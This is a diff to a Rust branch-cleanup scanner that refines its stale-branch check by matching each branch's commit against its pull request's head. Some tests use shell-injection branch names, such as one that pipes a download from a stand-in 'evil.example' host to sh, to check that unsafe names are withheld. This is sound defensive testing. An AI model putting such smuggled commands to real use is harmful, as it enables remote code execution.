configured_trunk: Option<&str>) -> bool { /// /// 出力はブランチ名の昇順で決定論的に並ぶ (同じ入力なら同じレポートになる)。 pub fn classify( - remote_branches: &[String], + remote_branches: &[RemoteBranch], prs: &[PrRecord], configured_trunk: Option<&str>, ) -> Vec { let mut out: Vec = remote_branches .iter() .map(|branch| ClassifiedBranch { - branch: branch.clone(), + branch: branch.name.clone(), + sha: branch.sha.clone(), verdict: verdict_for(branch, prs, configured_trunk), }) .collect(); @@ -128,21 +165,46 @@ fn prs_for_branch(branch: &str, prs: &[PrRecord]) -> Vec { sorted(prs.iter().filter(|pr| pr.head_ref == branch).map(|pr| pr.number).collect()) } -fn verdict_for(branch: &str, prs: &[PrRecord], configured_trunk: Option<&str>) -> BranchVerdict { - if is_protected(branch, configured_trunk) { +fn verdict_for( + branch: &RemoteBranch, + prs: &[PrRecord], + configured_trunk: Option<&str>, +) -> BranchVerdict { + if is_protected(&branch.name, configured_trunk) { return BranchVerdict::Protected; } - let all_prs = prs_for_branch(branch, prs); + let all_prs = prs_for_branch(&branch.name, prs); if all_prs.is_empty() { return BranchVerdict::NoPullRequest; } - let alive = prs_keeping_branch_alive(branch, prs); + let alive = prs_keeping_branch_alive(&branch.name, prs); if !alive.is_empty() { return BranchVerdict::Active { open_prs: alive }; } + if !a_pr_points_at(branch, prs) { + return BranchVerdict::Diverged { settled_prs: all_prs }; + } BranchVerdict::Stale { closed_prs: all_prs } } +/// 紐づく PR のいずれかが、**このブランチの現在の commit** を head にしているか。 +/// +/// **open PR には課さない。** open PR がブランチを守るのは名前の一致だけで足りる +/// ([`prs_keeping_branch_alive`])。open PR の `headRefOid` は push のたびに GitHub 側で +/// 更新されるが、その反映と本 scan の `ls-remote` の間には窓がある。ここで commit 一致を +/// 要求すると、**作業中のブランチが「PR に守られていない」側へ倒れる** — 誤りの向きが +/// 逆になるため、条件は決着済み PR の削除判定にだけ効かせる。 +/// +/// 空文字どうしを一致と読まない。取得層は空 SHA の行を捨て、`headRefOid` の欠損を `Err` に +/// するため通常は起こらないが、**空 == 空で「PR の head と同じ」に化ける**のは +/// 最も危ない誤りなので値の側でも塞ぐ。 +fn a_pr_points_at(branch: &RemoteBranch, prs: &[PrRecord]) -> bool { + !branch.sha.is_empty() + && prs + .iter() + .any(|pr| pr.head_ref == branch.name && pr.head_oid == branch.sha) +} + fn sorted(mut v: Vec) -> Vec { v.sort_unstable(); v @@ -156,18 +218,48 @@ pub fn deletion_candidates(classified: &[ClassifiedBranch]) -> Vec<&ClassifiedBr .collect() } +/// テスト用の値づくり。`crate::main` 側の test module とも共有する。 +/// +/// **既定では「ブランチの現在 commit = その名前の PR の head」に揃える。** commit の一致は +/// 通常運用の姿 (PR を出したブランチがそのまま残っている) であり、既定を一致にしておけば +/// 各テストは「名前と状態」という本来の関心だけを書ける。**ずれている状況を見るテストは +/// SHA を明示的に渡す** — そこが本 module の新しい判定点なので、明示された箇所だけを読めば +/// 差が分かる。 #[cfg(test)] -mod tests { - use super::*; +pub(crate) mod test_support { + use super::{PrRecord, PrState, RemoteBranch}; - fn pr(number: u64, head: &str, state: &str) -> PrRecord { - PrRecord { number, head_ref: head.to_string(), state: PrState::parse(state) } + /// ブランチ名から決定論的な「そのブランチの head commit」を作る。 + pub(crate) fn head_sha(branch: &str) -> String { + format!("sha-of-{branch}") } - fn branches(names: &[&str]) -> Vec { - names.iter().map(|s| s.to_string()).collect() + pub(crate) fn pr(number: u64, head: &str, state: &str) -> PrRecord { + PrRecord { + number, + head_ref: head.to_string(), + head_oid: head_sha(head), + state: PrState::parse(state), + } + } + + /// PR の head と同じ commit を指すブランチ (= 通常運用の姿)。 + pub(crate) fn branches(names: &[&str]) -> Vec { + names.iter().map(|name| at(name, &head_sha(name))).collect() } + /// commit を明示するブランチ。ハンドオフマーカーのように PR の head と別の commit を + /// 指す ref を作るために使う。 + pub(crate) fn at(name: &str, sha: &str) -> RemoteBranch { + RemoteBranch { name: name.to_string(), sha: sha.to_string() } + } +} + +#[cfg(test)] +mod tests { + use super::test_support::{at, branches, head_sha, pr}; + use super::*; + fn verdict(branch: &str, prs: &[PrRecord]) -> BranchVerdict { classify(&branches(&[branch]), prs, None).remove(0).verdict } @@ -244,6 +336,85 @@ mod tests { assert_eq!(classified[0].verdict, BranchVerdict::Protected); } + /// **順位 324 の再現** ([`RemoteBranch`] の doc)。マージ済み PR #427 と同名の ref が、 + /// base commit を指すハンドオフマーカーとして後から作られた形。名前だけで束ねていた + /// 頃はこれが `Stale` = 削除候補になり、2 晩にわたって同じ順位が再選択された。 + #[test] + fn a_handoff_marker_sharing_a_name_with_a_merged_pr_is_not_proposed() { + let marker = at("claude/nightly-324", "base-commit-of-that-night"); + let classified = classify( + std::slice::from_ref(&marker), + &[pr(427, "claude/nightly-324", "MERGED")], + None, + ); + assert_eq!( + classified[0].verdict, + BranchVerdict::Diverged { settled_prs: vec![427] } + ); + assert!( + deletion_candidates(&classified).is_empty(), + "決着済み PR と同名なだけの ref を削除候補に出している" + ); + } + + /// 対照: **同じ入力で commit だけを PR の head に揃えると `Stale` になる。** + /// 上のテストが「PR 判定そのものが壊れたから通った」のではないことを固定する + /// (掃除が一切効かなくなる方向の退行は、削除漏れとして静かに積み上がる)。 + #[test] + fn the_same_branch_at_the_prs_head_is_still_proposed() { + let at_head = at("claude/nightly-324", &head_sha("claude/nightly-324")); + let classified = classify( + std::slice::from_ref(&at_head), + &[pr(427, "claude/nightly-324", "MERGED")], + None, + ); + assert_eq!(classified[0].verdict, BranchVerdict::Stale { closed_prs: vec![427] }); + assert_eq!(deletion_candidates(&classified).len(), 1); + } + + /// **open PR は commit がずれていてもブランチを守る。** open PR の `headRefOid` は + /// push のたびに更新されるため、`ls-remote` との間に窓がある。ここで一致を要求すると + /// 作業中のブランチが提案対象へ落ちる ([`a_pr_points_at`] の doc)。 + #[test] + fn an_open_pr_protects_the_branch_even_when_the_commit_moved() { + let moved = at("feat/x", "just-pushed-commit"); + let classified = classify(std::slice::from_ref(&moved), &[pr(7, "feat/x", "OPEN")], None); + assert_eq!(classified[0].verdict, BranchVerdict::Active { open_prs: vec![7] }); + } + + /// 決着済み PR が複数あり、**そのうち 1 本でも現在の commit を指していれば** `Stale`。 + /// close → 別 PR を開いて close、のように履歴が積もったブランチで、最後の PR の head に + /// 留まっているものを掃除できなくしない。 + #[test] + fn one_settled_pr_at_the_current_commit_is_enough_to_propose() { + let branch = at("feat/x", "second-head"); + let prs = [ + pr(1, "feat/x", "CLOSED"), + PrRecord { + number: 2, + head_ref: "feat/x".to_string(), + head_oid: "second-head".to_string(), + state: PrState::Closed, + }, + ]; + assert_eq!( + classify(std::slice::from_ref(&branch), &prs, None)[0].verdict, + BranchVerdict::Stale { closed_prs: vec![1, 2] } + ); + } + + /// 空 SHA どうしを一致と読まない。取得層が塞いでいる形だが、**空 == 空で「PR の head と + /// 同じ」に化ける**のが最も危ない誤りなので値の側でも固める。 + #[test] + fn an_empty_sha_never_counts_as_pointing_at_a_pr() { + let empty = at("feat/x", ""); + let mut settled = pr(1, "feat/x", "CLOSED"); + settled.head_oid = String::new(); + let classified = classify(std::slice::from_ref(&empty), &[settled], None); + assert_eq!(classified[0].verdict, BranchVerdict::Diverged { settled_prs: vec![1] }); + assert!(deletion_candidates(&classified).is_empty()); + } + /// PR が 1 件も無いブランチは提案しない。作業中の WIP や、まだ PR を開いていない /// ブランチを消す提案になるため (§ なぜ提案しないか)。 #[test] diff --git a/src/cli-stale-branch-scan/src/collect.rs b/src/cli-stale-branch-scan/src/collect.rs index 035e2e02..cdd13f9a 100644 --- a/src/cli-stale-branch-scan/src/collect.rs +++ b/src/cli-stale-branch-scan/src/collect.rs @@ -16,7 +16,7 @@ use std::process::{Command, Stdio}; use lib_subprocess::{drain_pipe_unlimited, wait_with_timeout_basic}; -use crate::classify::{PrRecord, PrState}; +use crate::classify::{PrRecord, PrState, RemoteBranch}; /// **1 ブランチあたり**の PR 取得上限。到達したら数え落としの可能性があるため [`Err`] にする。 /// @@ -34,23 +34,32 @@ pub const BRANCH_SCAN_LIMIT: usize = 100; pub type CollectResult = Result; -/// `git ls-remote --heads ` の生出力から branch 名を取り出す。 +/// `git ls-remote --heads ` の生出力から branch 名と現在の commit を取り出す。 /// /// 行の形は `\trefs/heads/`。`refs/heads/` 前置きでない行は無視する /// (remote によっては注記行が混ざる)。 -pub fn parse_ls_remote(raw: &str) -> Vec { +/// +/// **SHA が空の行も捨てる。** 名前だけを拾って SHA を空のまま通すと、判定側の +/// 「PR の head と同じ commit か」が空文字比較に化ける ([`crate::classify`] の +/// `a_pr_points_at`)。片方が欠けた行は行ごと落とし、値が揃ったものだけを判定へ渡す。 +pub fn parse_ls_remote(raw: &str) -> Vec { raw.lines() - .filter_map(|line| line.split('\t').nth(1)) - .filter_map(|reference| reference.strip_prefix("refs/heads/")) - .map(|name| name.trim().to_string()) - .filter(|name| !name.is_empty()) + .filter_map(|line| { + let (sha, reference) = line.split_once('\t')?; + let name = reference.strip_prefix("refs/heads/")?.trim(); + let sha = sha.trim(); + (!name.is_empty() && !sha.is_empty()) + .then(|| RemoteBranch { name: name.to_string(), sha: sha.to_string() }) + }) .collect() } -/// `gh pr list --json number,headRefName,state` の出力を [`PrRecord`] へ変換する。 +/// `gh pr list --json number,headRefName,headRefOid,state` の出力を [`PrRecord`] へ変換する。 /// -/// **要素の欠損は握り潰さず [`Err`]**。number / headRefName / state のいずれかが読めない PR が -/// 混ざると、そのブランチが「PR 無し」と誤判定されて削除提案に載りうる。 +/// **要素の欠損は握り潰さず [`Err`]**。number / headRefName / headRefOid / state のいずれかが +/// 読めない PR が混ざると、そのブランチが「PR 無し」と誤判定されて削除提案に載りうる。 +/// `headRefOid` を欠損許容にすると、逆に「どの PR も現在の commit を指していない」= 保護側へ +/// 静かに倒れて掃除が効かなくなるため、こちらも同じく `Err` にする。 pub fn parse_pr_list(raw: &str) -> CollectResult> { let parsed: serde_json::Value = serde_json::from_str(raw).map_err(|e| format!("gh pr list の JSON を parse できません: {e}"))?; @@ -75,11 +84,17 @@ pub fn parse_pr_list(raw: &str) -> CollectResult> { .and_then(serde_json::Value::as_str) .ok_or_else(|| format!("PR #{number} の headRefName を読めません"))? .to_string(); + let head_oid = item + .get("headRefOid") + .and_then(serde_json::Value::as_str) + .filter(|oid| !oid.is_empty()) + .ok_or_else(|| format!("PR #{number} の headRefOid を読めません"))? + .to_string(); let state_raw = item .get("state") .and_then(serde_json::Value::as_str) .ok_or_else(|| format!("PR #{number} の state を読めません"))?; - Ok(PrRecord { number, head_ref, state: PrState::parse(state_raw) }) + Ok(PrRecord { number, head_ref, head_oid, state: PrState::parse(state_raw) }) }) .collect() } @@ -133,7 +148,7 @@ fn run(program: &str, args: &[&str]) -> CollectResult { } } -pub fn fetch_remote_branches(remote: &str) -> CollectResult> { +pub fn fetch_remote_branches(remote: &str) -> CollectResult> { Ok(parse_ls_remote(&run("git", &["ls-remote", "--heads", remote])?)) } @@ -141,7 +156,10 @@ pub fn fetch_remote_branches(remote: &str) -> CollectResult> { /// /// 全件取得しないのは [`PR_FETCH_LIMIT_PER_BRANCH`] の doc に書いたとおり。ブランチ数が /// [`BRANCH_SCAN_LIMIT`] を超える場合は呼び出し嵐を避けて停止する。 -pub fn fetch_pull_requests_for(branches: &[String], repo: Option<&str>) -> CollectResult> { +pub fn fetch_pull_requests_for( + branches: &[RemoteBranch], + repo: Option<&str>, +) -> CollectResult> { if branches.len() > BRANCH_SCAN_LIMIT { return Err(format!( "remote ブランチが {} 本あり上限 ({BRANCH_SCAN_LIMIT}) を超えています。\ @@ -151,7 +169,7 @@ pub fn fetch_pull_requests_for(branches: &[String], repo: Option<&str>) -> Colle } let mut all = Vec::new(); for branch in branches { - all.extend(fetch_pull_requests_for_branch(branch, repo)?); + all.extend(fetch_pull_requests_for_branch(&branch.name, repo)?); } Ok(all) } @@ -175,7 +193,7 @@ where let limit = PR_FETCH_LIMIT_PER_BRANCH.to_string(); let mut args = vec![ "pr", "list", "--state", "all", "--head", branch, "--limit", &limit, - "--json", "number,headRefName,state", + "--json", "number,headRefName,headRefOid,state", ]; if let Some(repo) = repo { args.push("--repo"); @@ -190,10 +208,27 @@ where mod tests { use super::*; + fn names(branches: &[RemoteBranch]) -> Vec<&str> { + branches.iter().map(|b| b.name.as_str()).collect() + } + + /// **SHA と名前を組で取り出す。** 判定側は「PR の head と同じ commit か」を見るため、 + /// ここで SHA を落とすと下流が名前だけの判定へ戻る。 #[test] - fn ls_remote_lines_yield_branch_names() { + fn ls_remote_lines_yield_branch_names_with_their_commits() { let raw = "abc123\trefs/heads/master\ndef456\trefs/heads/claude/nightly-203\n"; - assert_eq!(parse_ls_remote(raw), vec!["master", "claude/nightly-203"]); + let branches = parse_ls_remote(raw); + assert_eq!(names(&branches), vec!["master", "claude/nightly-203"]); + assert_eq!(branches[0].sha, "abc123"); + assert_eq!(branches[1].sha, "def456"); + } + + /// SHA が空の行は行ごと捨てる。名前だけ拾って空 SHA を通すと、判定側の commit 一致が + /// 空文字比較に化ける。 + #[test] + fn a_line_without_a_sha_is_dropped() { + assert!(parse_ls_remote("\trefs/heads/feat/x\n").is_empty()); + assert!(parse_ls_remote(" \trefs/heads/feat/x\n").is_empty()); } /// 一致なしの空出力は「0 本」。ここで `Err` にしないのは、空が正常な結果でもあるため。 @@ -206,27 +241,33 @@ mod tests { #[test] fn non_head_refs_are_ignored() { let raw = "abc\trefs/tags/v1\ndef\trefs/heads/feat/x\nghi\tgarbage\n"; - assert_eq!(parse_ls_remote(raw), vec!["feat/x"]); + assert_eq!(names(&parse_ls_remote(raw)), vec!["feat/x"]); } #[test] fn pr_list_json_maps_to_records() { - let raw = r#"[{"number":365,"headRefName":"claude/nightly-203","state":"CLOSED"}]"#; + let raw = r#"[{"number":365,"headRefName":"claude/nightly-203","headRefOid":"deadbeef","state":"CLOSED"}]"#; let prs = parse_pr_list(raw).expect("parse"); assert_eq!(prs.len(), 1); assert_eq!(prs[0].number, 365); assert_eq!(prs[0].head_ref, "claude/nightly-203"); + assert_eq!(prs[0].head_oid, "deadbeef"); assert_eq!(prs[0].state, PrState::Closed); } /// 欠損フィールドを握り潰さない。潰すとそのブランチが「PR 無し」に見え、 /// 削除提案の判定が静かに変わる。 + /// + /// **`headRefOid` の欠損・空文字も同じ扱い。** これを許すと「どの PR も現在の commit を + /// 指していない」= 保護側へ静かに倒れ、掃除が効かなくなったことに誰も気づけない。 #[test] fn a_pr_with_missing_fields_is_an_error() { for raw in [ - r#"[{"headRefName":"feat/x","state":"OPEN"}]"#, - r#"[{"number":1,"state":"OPEN"}]"#, - r#"[{"number":1,"headRefName":"feat/x"}]"#, + r#"[{"headRefName":"feat/x","headRefOid":"a","state":"OPEN"}]"#, + r#"[{"number":1,"headRefOid":"a","state":"OPEN"}]"#, + r#"[{"number":1,"headRefName":"feat/x","headRefOid":"a"}]"#, + r#"[{"number":1,"headRefName":"feat/x","state":"OPEN"}]"#, + r#"[{"number":1,"headRefName":"feat/x","headRefOid":"","state":"OPEN"}]"#, ] { assert!(parse_pr_list(raw).is_err(), "{raw} が Err にならない"); } @@ -259,7 +300,9 @@ mod tests { /// ネットワークに触らないことを、実行が即 `Err` で返ることで確認する。 #[test] fn too_many_branches_stops_before_calling_gh() { - let branches: Vec = (0..=BRANCH_SCAN_LIMIT).map(|i| format!("b{i}")).collect(); + let branches: Vec = (0..=BRANCH_SCAN_LIMIT) + .map(|i| RemoteBranch { name: format!("b{i}"), sha: format!("sha{i}") }) + .collect(); let err = fetch_pull_requests_for(&branches, None).expect_err("上限超過は Err"); assert!(err.contains("上限"), "{err}"); } @@ -298,7 +341,11 @@ mod tests { fn the_injected_runner_is_used_for_the_success_path() { let prs = fetch_pull_requests_for_branch_with("feat/x", None, |args| { assert!(args.contains(&"--head"), "--head が渡っていない: {args:?}"); - Ok(r#"[{"number":1,"headRefName":"feat/x","state":"OPEN"}]"#.to_string()) + assert!( + args.iter().any(|a| a.contains("headRefOid")), + "--json に headRefOid が入っていない (判定側の commit 一致が常に偽になる): {args:?}" + ); + Ok(r#"[{"number":1,"headRefName":"feat/x","headRefOid":"a1","state":"OPEN"}]"#.to_string()) }) .expect("ok"); assert_eq!(prs.len(), 1); diff --git a/src/cli-stale-branch-scan/src/main.rs b/src/cli-stale-branch-scan/src/main.rs index b642b2c1..771ea97d 100644 --- a/src/cli-stale-branch-scan/src/main.rs +++ b/src/cli-stale-branch-scan/src/main.rs @@ -7,8 +7,9 @@ //! ``` //! //! `--prefix` は走査対象を絞る (例: `claude/nightly-`)。**PR の問い合わせ前**に効くので -//! `gh` の呼び出し回数も減る。`--deletable-only` は markdown ではなく**削除候補のブランチ名を -//! 1 行 1 件**で出す機械可読モードで、`nightly-todo.yml` の掃除 step が消費する。 +//! `gh` の呼び出し回数も減る。`--deletable-only` は markdown ではなく**削除候補を +//! `<ブランチ名>\t<判定に使った commit>` の 1 行 1 件**で出す機械可読モードで、 +//! `nightly-todo.yml` の掃除 step が `cli-branch-cleanup` へそのまま流す。 //! //! # なぜ takt workflow の中に置かないか //! @@ -31,8 +32,10 @@ //! 自動実行可クラスに入り、`nightly-todo.yml` の掃除 step が `--deletable-only` の出力を //! 消費して削除する ([ADR-072](../../../docs/adr/adr-072-nightly-todo-loop.md) 決定 20)。 //! **判定と実行の分離は保たれている** — 本 exe は「消してよい」を決めるだけで、消すのは呼び手。 -//! `BranchVerdict::NoPullRequest` を候補にしない既存の規則が、そのまま夜間ループの -//! 失敗マーカー (PR の無い `claude/nightly-<順位>`) を守る。 +//! `BranchVerdict::NoPullRequest` / `BranchVerdict::Diverged` を候補にしない規則が、 +//! そのまま夜間ループの失敗マーカー (base commit を指す空 ref の `claude/nightly-<順位>`) を +//! 守る。**同名で過去に PR が出ていた順位も守るには commit の一致が要る** — +//! [`classify::RemoteBranch`] の doc を参照。 //! //! # 出力に wall-clock を含めない理由 //! @@ -49,7 +52,7 @@ mod classify; mod collect; -use classify::{BranchVerdict, ClassifiedBranch}; +use classify::{BranchVerdict, ClassifiedBranch, RemoteBranch}; /// gh のために `GIT_DIR` を注入する。 /// @@ -167,14 +170,20 @@ fn main() { print!("{}", render(&classified, &cli.remote)); } -fn filter_by_prefix(branches: Vec, prefix: Option<&str>) -> Vec { +fn filter_by_prefix(branches: Vec, prefix: Option<&str>) -> Vec { let Some(prefix) = prefix else { return branches; }; - branches.into_iter().filter(|b| b.starts_with(prefix)).collect() + branches.into_iter().filter(|b| b.name.starts_with(prefix)).collect() } -/// 削除候補のブランチ名だけを 1 行 1 件で返す (機械可読モード)。 +/// 削除候補を `<ブランチ名>\t<判定に使った commit>` の 1 行 1 件で返す (機械可読モード)。 +/// +/// **commit を添えるのは、実行側に「何を分類したか」を渡すため。** 削除するのは +/// `cli-branch-cleanup` で、名前だけを渡すとあちらが**自分で観測し直した** ref を消す。 +/// 判定と実行の間に ref が動いていれば、それは本 exe が分類していない別の物である +/// (夜間ループでは PR ブランチ → ハンドオフマーカーへの入れ替わりがこの形になる)。 +/// 区切りが tab なのは `git ls-remote` の出力形式に合わせたため。 /// /// **名前が [`is_safe_branch_name`] を満たさないものは出さない。** 呼び手 (`nightly-todo.yml`) /// はこの出力を `git push origin --delete "$branch"` の引数に使うため、markdown レポートの @@ -185,6 +194,8 @@ fn render_deletable(classified: &[ClassifiedBranch]) -> String { for branch in classify::deletion_candidates(classified) { if is_safe_branch_name(&branch.branch) { out.push_str(&branch.branch); + out.push('\t'); + out.push_str(&branch.sha); out.push('\n'); continue; } @@ -299,14 +310,24 @@ fn render(classified: &[ClassifiedBranch], remote: &str) -> String { "PR", )); out.push_str(§ion( - "## 参考: PR が 1 件も無いブランチ (提案対象外)", + "## 参考: ref が PR の head を指していないブランチ (提案対象外)", classified, - |verdict| matches!(verdict, BranchVerdict::NoPullRequest).then(|| "-".to_string()), + |verdict| match verdict { + BranchVerdict::NoPullRequest => Some("PR 無し".to_string()), + BranchVerdict::Diverged { settled_prs } => Some(format!( + "決着済み {} は別 commit を指す (ハンドオフマーカー等)", + settled_prs.iter().map(|n| format!("#{n}")).collect::>().join(", ") + )), + _ => None, + }, "備考", )); out.push_str( "> PR の無いブランチを提案対象にしないのは、**まだ PR を開いていない作業中のブランチ**と\n\ - > 区別できないため。放置が気になる場合は人間が個別に判断する。\n", + > 区別できないため。**決着済み PR と同名でも、ref がその PR の head を指していなければ\n\ + > 同じ扱い**にする — PR の履歴はブランチ名で永続するので、名前だけで束ねると後から\n\ + > 作られた同名の ref (夜間ループのハンドオフマーカー) を消してしまう。\n\ + > 放置が気になる場合は人間が個別に判断する。\n", ); out } @@ -314,7 +335,10 @@ fn render(classified: &[ClassifiedBranch], remote: &str) -> String { fn header(remote: &str) -> String { let mut out = String::from("# Stale Branch Watchlist (機械 scan)\n\n"); out.push_str(&format!("- remote: `{remote}` / 対象: 全 remote ブランチ (trunk は常に除外)\n")); - out.push_str("- 判定: 紐づく PR がすべて closed / merged なら削除候補。open が 1 本でもあれば対象外\n"); + out.push_str( + "- 判定: 紐づく PR がすべて closed / merged **かつ ref がその PR の head commit を\ + 指している**なら削除候補。open が 1 本でもあれば対象外\n", + ); out.push_str("- **削除は行いません**。実行するかは人間が決めます (ADR-022 / ADR-028)\n\n"); out } @@ -410,16 +434,12 @@ fn section( #[cfg(test)] mod tests { use super::*; - use classify::{PrRecord, PrState}; + use classify::test_support::{branches, head_sha, pr}; fn args(items: &[&str]) -> Vec { items.iter().map(|s| s.to_string()).collect() } - fn pr(number: u64, head: &str, state: &str) -> PrRecord { - PrRecord { number, head_ref: head.to_string(), state: PrState::parse(state) } - } - #[test] fn defaults_to_origin_and_no_repo_override() { let cli = parse_args(&args(&[])).expect("parse"); @@ -468,16 +488,12 @@ mod tests { /// 対象にすればよく、無関係なブランチまで 1 本ずつ `gh` を呼ぶ理由がない。 #[test] fn the_prefix_filters_branches_before_they_are_scanned() { - let branches = vec![ - "claude/nightly-203".to_string(), - "claude/lane-model-pr4".to_string(), - "master".to_string(), - ]; + let all = branches(&["claude/nightly-203", "claude/lane-model-pr4", "master"]); assert_eq!( - filter_by_prefix(branches.clone(), Some("claude/nightly-")), - vec!["claude/nightly-203".to_string()] + filter_by_prefix(all.clone(), Some("claude/nightly-")), + branches(&["claude/nightly-203"]) ); - assert_eq!(filter_by_prefix(branches.clone(), None), branches); + assert_eq!(filter_by_prefix(all.clone(), None), all); } /// 機械可読モードは **Stale だけ**を出す。とりわけ `NoPullRequest` を出さないことが @@ -485,12 +501,12 @@ mod tests { #[test] fn the_machine_readable_output_lists_only_branches_whose_prs_are_all_settled() { let classified = classify::classify( - &[ - "claude/nightly-203".to_string(), - "claude/nightly-228".to_string(), - "claude/nightly-240".to_string(), - "claude/nightly-999".to_string(), - ], + &branches(&[ + "claude/nightly-203", + "claude/nightly-228", + "claude/nightly-240", + "claude/nightly-999", + ]), &[ pr(1, "claude/nightly-203", "CLOSED"), pr(2, "claude/nightly-228", "MERGED"), @@ -499,7 +515,15 @@ mod tests { None, ); let out = render_deletable(&classified); - assert_eq!(out, "claude/nightly-203\nclaude/nightly-228\n"); + assert_eq!( + out, + format!( + "claude/nightly-203\t{}\nclaude/nightly-228\t{}\n", + head_sha("claude/nightly-203"), + head_sha("claude/nightly-228") + ), + "削除候補は <ブランチ名>\\t<判定に使った commit> で出す" + ); assert!( !out.contains("claude/nightly-999"), "PR の無いブランチ (失敗マーカー) を削除候補に出している" @@ -516,21 +540,24 @@ mod tests { #[test] fn a_merged_pr_whose_branch_remains_is_a_deletion_candidate() { let classified = classify::classify( - &["claude/nightly-216".to_string()], + &branches(&["claude/nightly-216"]), &[pr(9, "claude/nightly-216", "MERGED")], None, ); - assert_eq!(render_deletable(&classified), "claude/nightly-216\n"); + assert_eq!( + render_deletable(&classified), + format!("claude/nightly-216\t{}\n", head_sha("claude/nightly-216")) + ); } /// 呼び手は出力を `git push origin --delete "$branch"` に渡す。危険な文字を含む名前は /// 候補から落とす (markdown レポートのコピペ経路と同じ injection 面)。 #[test] fn an_unsafe_branch_name_is_withheld_from_the_machine_readable_output() { - let hostile = "claude/nightly-1;curl evil".to_string(); + let hostile = "claude/nightly-1;curl evil"; let classified = classify::classify( - std::slice::from_ref(&hostile), - &[pr(1, &hostile, "CLOSED")], + &branches(&[hostile]), + &[pr(1, hostile, "CLOSED")], None, ); assert_eq!(render_deletable(&classified), ""); @@ -542,12 +569,7 @@ mod tests { #[test] fn a_stale_branch_is_reported_with_a_manual_delete_command() { let classified = classify::classify( - &[ - "claude/nightly-203".to_string(), - "master".to_string(), - "feat/live".to_string(), - "wip/no-pr".to_string(), - ], + &branches(&["claude/nightly-203", "master", "feat/live", "wip/no-pr"]), &[ pr(365, "claude/nightly-203", "CLOSED"), pr(376, "feat/live", "OPEN"), @@ -571,7 +593,7 @@ mod tests { #[test] fn a_branch_name_starting_with_dash_gets_a_double_dash_separator() { let classified = classify::classify( - &["--force".to_string()], + &branches(&["--force"]), &[pr(1, "--force", "CLOSED")], None, ); @@ -585,7 +607,7 @@ mod tests { fn a_branch_name_with_shell_metacharacters_gets_no_paste_ready_command() { let malicious = "x;curl${IFS}evil.example|sh;#"; let classified = classify::classify( - &[malicious.to_string()], + &branches(&[malicious]), &[pr(1, malicious, "CLOSED")], None, ); @@ -605,7 +627,7 @@ mod tests { let active = "live`x`|y"; let no_pr = "orphan`z`|w"; let classified = classify::classify( - &[stale.to_string(), active.to_string(), no_pr.to_string()], + &branches(&[stale, active, no_pr]), &[pr(1, stale, "CLOSED"), pr(2, active, "OPEN")], None, ); @@ -632,14 +654,14 @@ mod tests { let report = render(&classify::classify(&[], &[], None), "origin"); assert!(report.contains("0 件 (clean state)"), "{report}"); assert!(report.contains("参考: open PR が生きているブランチ"), "{report}"); - assert!(report.contains("参考: PR が 1 件も無いブランチ"), "{report}"); + assert!(report.contains("参考: ref が PR の head を指していないブランチ"), "{report}"); } /// 同じ入力なら同じ出力 (週次 diff 運用の前提)。wall-clock を混ぜていないことの回帰固定。 #[test] fn the_report_is_byte_identical_for_the_same_input() { let classified = classify::classify( - &["feat/x".to_string()], + &branches(&["feat/x"]), &[pr(1, "feat/x", "MERGED")], None, );